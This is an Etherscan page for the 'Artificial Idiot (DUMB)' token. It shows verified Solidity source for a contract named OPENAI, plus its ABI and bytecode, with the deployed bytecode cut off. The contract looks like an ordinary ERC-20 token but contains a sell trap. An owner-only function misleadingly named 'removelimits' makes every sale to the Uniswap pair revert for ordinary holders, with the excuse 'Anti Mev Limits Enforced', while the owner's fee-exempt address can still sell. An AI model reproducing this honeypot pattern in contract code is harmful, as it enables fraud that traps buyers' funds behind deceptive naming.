ETH Price: $3,470.15 (+2.34%)
Gas: 7 Gwei

Token

Artificial Idiot (DUMB)
 

Overview

Max Total Supply

10,000,000 DUMB

Holders

39

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
288,691.657884651 DUMB

Value
$0.00
0xf3bd0e214fa1bdfd9c73b8e61d95bfc397266b67
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OPENAI

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 500 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-09
*/

/**

Web - https://artificialidiot.tech/

Telegram - https://t.me/artificialidioterc

Twitter - https://twitter.com/ArtIdiotEth

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract OPENAI is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private constant _name = "Artificial Idiot";
    string private constant _symbol = "DUMB";
    uint8 private constant _decimals = 9;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 10000000 * 10**9;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    IUniswapV2Router02 public uniswapV2Router;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _taxFeeOnSell = 0;
    bool public limitsEnabled = true;
    uint256 private _taxFee = _taxFeeOnSell;
    uint256 private _previoustaxFee = _taxFee;
    uint256 private _tFeeTotal;
    uint256 private _taxFeeOnBuy = 0;
    address public uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = true;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;


        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function removelimits() external onlyOwner {
        limitsEnabled = false;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_taxFee == 0) return;


        _previoustaxFee = _taxFee;


        _taxFee = 0;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        bool takeFee = true;

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
             
                _taxFee = _taxFeeOnBuy;
            }
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
             
                _taxFee = _taxFeeOnSell;
                 require(limitsEnabled, "Anti Mev Limits Enforced");
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
    
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removelimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000019662386f26fc10000600019620002c6565b6200002790600019620002e9565b600755600060088190556009805460ff19166001179055600a819055600b819055600d55600e805461ffff60a01b1916600160a81b1790553480156200006c57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506007543360009081526002602090815260409182902092909255600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255825163c45a015560e01b815292519093849363c45a01559381810193918290030181865afa15801562000127573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200014d91906200030f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200019b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c191906200030f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200020f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023591906200030f565b600e80546001600160a01b0319166001600160a01b03928316179055600080549091168152600660209081526040808320805460ff1990811660019081179092553085528285208054909116909117905551662386f26fc1000081523392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000341565b600082620002e457634e487b7160e01b600052601260045260246000fd5b500690565b6000828210156200030a57634e487b7160e01b600052601160045260246000fd5b500390565b6000602082840312156200032257600080fd5b81516001600160a01b03811681146200033a57600080fd5b9392505050565b61115380620003516000396000f3fe6080604052600436106100f75760003560e01c80635e4ae81b1161008a57806395d89b411161005957806395d89b41146102c7578063a9059cbb146102f4578063dd62ed3e14610314578063f2fde38b1461035a57600080fd5b80635e4ae81b1461025d57806370a0823114610274578063715018a6146102945780638da5cb5b146102a957600080fd5b806323b872dd116100c657806323b872dd146101e7578063313ce567146102075780633582ad231461022357806349bd5a5e1461023d57600080fd5b806306fdde0314610103578063095ea7b31461015b5780631694505e1461018b57806318160ddd146101c357600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152601081527f4172746966696369616c204964696f740000000000000000000000000000000060208201525b6040516101529190610f4a565b60405180910390f35b34801561016757600080fd5b5061017b610176366004610fbb565b61037a565b6040519015158152602001610152565b34801561019757600080fd5b506004546101ab906001600160a01b031681565b6040516001600160a01b039091168152602001610152565b3480156101cf57600080fd5b50662386f26fc100005b604051908152602001610152565b3480156101f357600080fd5b5061017b610202366004610fe5565b610391565b34801561021357600080fd5b5060405160098152602001610152565b34801561022f57600080fd5b5060095461017b9060ff1681565b34801561024957600080fd5b50600e546101ab906001600160a01b031681565b34801561026957600080fd5b506102726103fa565b005b34801561028057600080fd5b506101d961028f366004611021565b610465565b3480156102a057600080fd5b50610272610487565b3480156102b557600080fd5b506000546001600160a01b03166101ab565b3480156102d357600080fd5b50604080518082019091526004815263222aa6a160e11b6020820152610145565b34801561030057600080fd5b5061017b61030f366004610fbb565b610538565b34801561032057600080fd5b506101d961032f36600461103c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561036657600080fd5b50610272610375366004611021565b610545565b600061038733848461066c565b5060015b92915050565b600061039e848484610790565b6103f084336103eb856040518060600160405280602881526020016110f6602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610a0a565b61066c565b5060019392505050565b6000546001600160a01b031633146104595760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6009805460ff19169055565b6001600160a01b03811660009081526002602052604081205461038b90610a44565b6000546001600160a01b031633146104e15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610450565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000610387338484610790565b6000546001600160a01b0316331461059f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610450565b6001600160a01b0381166106045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610450565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b0383166106ce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610450565b6001600160a01b03821661072f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610450565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107f45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610450565b6001600160a01b0382166108565760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610450565b600081116108b85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610450565b6001600160a01b03831660009081526006602052604090205460019060ff16806108fa57506001600160a01b03831660009081526006602052604090205460ff165b8061092c5750600e546001600160a01b0385811691161480159061092c5750600e546001600160a01b03848116911614155b15610939575060006109f8565b600e546001600160a01b03858116911614801561096457506004546001600160a01b03848116911614155b1561097057600d54600a555b600e546001600160a01b03848116911614801561099b57506004546001600160a01b03858116911614155b156109f857600854600a5560095460ff166109f85760405162461bcd60e51b815260206004820152601860248201527f416e7469204d6576204c696d69747320456e666f7263656400000000000000006044820152606401610450565b610a0484848484610ac8565b50505050565b60008184841115610a2e5760405162461bcd60e51b81526004016104509190610f4a565b506000610a3b8486611085565b95945050505050565b6000600754821115610aab5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610450565b6000610ab5610ae0565b9050610ac18382610b03565b9392505050565b80610ad557610ad5610b45565b610a04848484610b5b565b6000806000610aed610c52565b9092509050610afc8282610b03565b9250505090565b6000610ac183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c90565b600a54610b4e57565b600a8054600b5560009055565b600080600080600080610b6d87610cbe565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610b9f9087610d18565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610bce9086610d5a565b6001600160a01b038916600090815260026020526040902055610bf081610db9565b610bfa8483610e03565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c3f91815260200190565b60405180910390a3505050505050505050565b6007546000908190662386f26fc10000610c6c8282610b03565b821015610c8757505060075492662386f26fc1000092509050565b90939092509050565b60008183610cb15760405162461bcd60e51b81526004016104509190610f4a565b506000610a3b848661109c565b6000806000806000806000806000610cd88a600a54610e27565b9250925092506000610ce8610ae0565b90506000806000610cfb8e878787610e7b565b919e509c509a509598509396509194505050505091939550919395565b6000610ac183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a0a565b600080610d6783856110be565b905083811015610ac15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610450565b6000610dc3610ae0565b90506000610dd18383610ecb565b30600090815260026020526040902054909150610dee9082610d5a565b30600090815260026020526040902055505050565b600754610e109083610d18565b600755600c54610e209082610d5a565b600c555050565b6000808080610e416064610e3b8888610ecb565b90610b03565b90506000610e546064610e3b8989610ecb565b90506000610e6c82610e668a86610d18565b90610d18565b95509193509150509250925092565b6000808080610e8a8886610ecb565b90506000610e988887610ecb565b90506000610ea68888610ecb565b90506000610eb882610e668686610d18565b939b939a50919850919650505050505050565b600082610eda5750600061038b565b6000610ee683856110d6565b905082610ef3858361109c565b14610ac15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610450565b600060208083528351808285015260005b81811015610f7757858101830151858201604001528201610f5b565b81811115610f89576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610fb657600080fd5b919050565b60008060408385031215610fce57600080fd5b610fd783610f9f565b946020939093013593505050565b600080600060608486031215610ffa57600080fd5b61100384610f9f565b925061101160208501610f9f565b9150604084013590509250925092565b60006020828403121561103357600080fd5b610ac182610f9f565b6000806040838503121561104f57600080fd5b61105883610f9f565b915061106660208401610f9f565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b6000828210156110975761109761106f565b500390565b6000826110b957634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156110d1576110d161106f565b500190565b60008160001904831182151516156110f0576110f061106f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220550144f693fc25ebd4a0d7793476fecd6c05ccab381df6d1be832a87a7c07a2b64736f6c634300080a0033

Deployed Bytecode

0x6080604052600436106100f75760003560e01c80635e4ae81b1161008a57806395d89b411161005957806395d89b41146102c7578063a9059cbb146102f4578063dd62ed3e14610314578063f2fde38b1461035a57600080fd5b80635e4ae81b1461025d57806370a0823114610274578063715018a6146102945780638da5cb5b146102a957600080fd5b806323b872dd116100c657806323b872dd146101e7578063313ce567146102075780633582ad231461022357806349bd5a5e1461023d57600080fd5b806306fdde0314610103578063095ea7b31461015b5780631694505e1461018b57806318160ddd146101c357600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152601081527f4172746966696369616c204964696f740000000000000000000000000000000060208201525b6040516101529190610f4a565b60405180910390f35b34801561016757600080fd5b5061017b610176366004610fbb565b61037a565b6040519015158152602001610152565b34801561019757600080fd5b506004546101ab906001600160a01b031681565b6040516001600160a01b039091168152602001610152565b3480156101cf57600080fd5b50662386f26fc100005b604051908152602001610152565b3480156101f357600080fd5b5061017b610202366004610fe5565b610391565b34801561021357600080fd5b5060405160098152602001610152565b34801561022f57600080fd5b5060095461017b9060ff1681565b34801561024957600080fd5b50600e546101ab906001600160a01b031681565b34801561026957600080fd5b506102726103fa565b005b34801561028057600080fd5b506101d961028f366004611021565b610465565b3480156102a057600080fd5b50610272610487565b3480156102b557600080fd5b506000546001600160a01b03166101ab565b3480156102d357600080fd5b50604080518082019091526004815263222aa6a160e11b6020820152610145565b34801561030057600080fd5b5061017b61030f366004610fbb565b610538565b34801561032057600080fd5b506101d961032f36600461103c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561036657600080fd5b50610272610375366004611021565b610545565b600061038733848461066c565b5060015b92915050565b600061039e848484610790565b6103f084336103eb856040518060600160405280602881526020016110f6602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610a0a565b61066c565b5060019392505050565b6000546001600160a01b031633146104595760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6009805460ff19169055565b6001600160a01b03811660009081526002602052604081205461038b90610a44565b6000546001600160a01b031633146104e15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610450565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000610387338484610790565b6000546001600160a01b0316331461059f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610450565b6001600160a01b0381166106045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610450565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b0383166106ce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610450565b6001600160a01b03821661072f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610450565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107f45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610450565b6001600160a01b0382166108565760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610450565b600081116108b85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610450565b6001600160a01b03831660009081526006602052604090205460019060ff16806108fa57506001600160a01b03831660009081526006602052604090205460ff165b8061092c5750600e546001600160a01b0385811691161480159061092c5750600e546001600160a01b03848116911614155b15610939575060006109f8565b600e546001600160a01b03858116911614801561096457506004546001600160a01b03848116911614155b1561097057600d54600a555b600e546001600160a01b03848116911614801561099b57506004546001600160a01b03858116911614155b156109f857600854600a5560095460ff166109f85760405162461bcd60e51b815260206004820152601860248201527f416e7469204d6576204c696d69747320456e666f7263656400000000000000006044820152606401610450565b610a0484848484610ac8565b50505050565b60008184841115610a2e5760405162461bcd60e51b81526004016104509190610f4a565b506000610a3b8486611085565b95945050505050565b6000600754821115610aab5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610450565b6000610ab5610ae0565b9050610ac18382610b03565b9392505050565b80610ad557610ad5610b45565b610a04848484610b5b565b6000806000610aed610c52565b9092509050610afc8282610b03565b9250505090565b6000610ac183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c90565b600a54610b4e57565b600a8054600b5560009055565b600080600080600080610b6d87610cbe565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610b9f9087610d18565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610bce9086610d5a565b6001600160a01b038916600090815260026020526040902055610bf081610db9565b610bfa8483610e03565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c3f91815260200190565b60405180910390a3505050505050505050565b6007546000908190662386f26fc10000610c6c8282610b03565b821015610c8757505060075492662386f26fc1000092509050565b90939092509050565b60008183610cb15760405162461bcd60e51b81526004016104509190610f4a565b506000610a3b848661109c565b6000806000806000806000806000610cd88a600a54610e27565b9250925092506000610ce8610ae0565b90506000806000610cfb8e878787610e7b565b919e509c509a509598509396509194505050505091939550919395565b6000610ac183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a0a565b600080610d6783856110be565b905083811015610ac15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610450565b6000610dc3610ae0565b90506000610dd18383610ecb565b30600090815260026020526040902054909150610dee9082610d5a565b30600090815260026020526040902055505050565b600754610e109083610d18565b600755600c54610e209082610d5a565b600c555050565b6000808080610e416064610e3b8888610ecb565b90610b03565b90506000610e546064610e3b8989610ecb565b90506000610e6c82610e668a86610d18565b90610d18565b95509193509150509250925092565b6000808080610e8a8886610ecb565b90506000610e988887610ecb565b90506000610ea68888610ecb565b90506000610eb882610e668686610d18565b939b939a50919850919650505050505050565b600082610eda5750600061038b565b6000610ee683856110d6565b905082610ef3858361109c565b14610ac15760405162461bc